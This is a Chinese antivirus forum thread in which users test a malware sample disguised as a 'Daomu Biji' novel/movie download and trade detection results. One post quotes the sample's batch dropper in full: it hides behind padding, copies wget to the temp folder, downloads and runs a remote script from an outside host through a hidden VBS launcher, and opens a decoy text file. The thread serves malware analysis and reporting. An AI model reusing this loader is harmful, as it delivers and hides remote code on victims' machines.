【目测此毒要火】盗墓笔记电影版

tg123321

把你们各家杀软的战报都放上来
2016-8-11 12:08:08    创建新进程    允许
进程: c:\windows\explorer.exe
目标: f:\virustest\盗墓笔记_盗墓笔记电影版_盗墓笔记全集下载\books\wget.exe
命令行: "F:\virustest\盗墓笔记_盗墓笔记电影版_盗墓笔记全集下载\books\wget.exe"
规则: [应用程序]c:\windows\explorer.exe -> [子应用程序]?:\*.*

2016-8-11 12:08:08    加载动态链接库    允许
进程: f:\virustest\盗墓笔记_盗墓笔记电影版_盗墓笔记全集下载\books\wget.exe
目标: c:\windows\system32\wsock32.dll
规则: [应用程序组]● 行为测试规则

2016-8-11 12:08:08    加载动态链接库    允许
进程: f:\virustest\盗墓笔记_盗墓笔记电影版_盗墓笔记全集下载\books\wget.exe
目标: c:\windows\system32\ws2_32.dll
规则: [应用程序组]● 行为测试规则

2016-8-11 12:08:08    加载动态链接库    允许
进程: f:\virustest\盗墓笔记_盗墓笔记电影版_盗墓笔记全集下载\books\wget.exe
目标: c:\windows\system32\ws2help.dll
规则: [应用程序组]● 行为测试规则

2016-8-11 12:08:08    加载动态链接库    允许
进程: f:\virustest\盗墓笔记_盗墓笔记电影版_盗墓笔记全集下载\books\wget.exe
目标: c:\windows\system32\imm32.dll
规则: [应用程序组]● 行为测试规则

2016-8-11 12:08:08    加载动态链接库    允许
进程: f:\virustest\盗墓笔记_盗墓笔记电影版_盗墓笔记全集下载\books\wget.exe
目标: c:\windows\system32\lpk.dll
规则: [应用程序组]● 行为测试规则

2016-8-11 12:08:09    加载动态链接库    允许
进程: f:\virustest\盗墓笔记_盗墓笔记电影版_盗墓笔记全集下载\books\wget.exe
目标: c:\windows\system32\usp10.dll
规则: [应用程序组]● 行为测试规则

2016-8-11 12:08:09    加载动态链接库    允许
进程: f:\virustest\盗墓笔记_盗墓笔记电影版_盗墓笔记全集下载\books\wget.exe
目标: c:\windows\system32\apphelp.dll
规则: [应用程序组]● 行为测试规则

2016-8-11 12:08:12    创建新进程    阻止
进程: f:\virustest\盗墓笔记_盗墓笔记电影版_盗墓笔记全集下载\books\wget.exe
目标: c:\windows\system32\conime.exe
命令行: C:\WINDOWS\system32\conime.exe
规则: [应用程序组]● 行为测试规则

Heavev

KIS  2016                      MISS


360全套     双击         MISS

ELOHIM

SCEP MISS.
大家可以改成 exe 格式，解压。
里面的东东没细看……

[quote]%%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a  
cls
@echo off
if exist %TEMP%\tmp.cmd del /s /q %TEMP%\tmp.cmd
if exist %TEMP%\tmp.vbs del /s /q %TEMP%\tmp.vbs
if exist %TEMP%\wget.exe del /s /q %TEMP%\wget.exe
ATTRIB -R -A -S -H books\wget.exe /S /D
ping 127.0.0.1 1>nul
move /Y books\wget.exe %TEMP%\wget.exe
ping 127.0.0.1 1>nul
%temp%\wget.exe -q -O %temp%\tmp.cmd http://cq.xdf.la/dl1.txt
ping 127.0.0.1 1>nul
echo Set ws = CreateObject("Wscript.Shell")>>%TEMP%\tmp.vbs
echo ws.run "cmd /c if exist %TEMP%\tmp (echo y|cacls %TEMP%\tmp /p everyone:f >nul 2>nul &&rd /s /q %TEMP%\tmp)",vbhide>>%TEMP%\tmp.vbs
echo ws.run "cmd /c %TEMP%\tmp.cmd",vbhide>>%TEMP%\tmp.vbs
ping 127.0.0.1 1>nul
start books\xiaoshuo.txt
start %TEMP%\tmp.vbs
exit[/quote]

蓝天二号

斗牛犬 直接阻止下载

Heavev

蓝天二号 发表于 2016-8-11 07:22
斗牛犬 直接阻止下载

这是拉黑了整个卡饭





并没有什么卵用~~

km2002

卡巴2016 扫描 miss

Zemana AntiMalware 扫描 miss

有条件的双击试试看

蓝天二号

Heavev 发表于 2016-8-11 12:25
这是拉黑了整个卡饭

没有拉黑啊，可以忽略 正常下载啊，，，

挥泪斩情思

NS miss

pal家族

上报卡巴

提示，不要使用卡巴双击，90%不能彻底拦住。看到那样一个bat我就想到了上次那个，，，，，

Luca.l

管家国际版miss
上报管家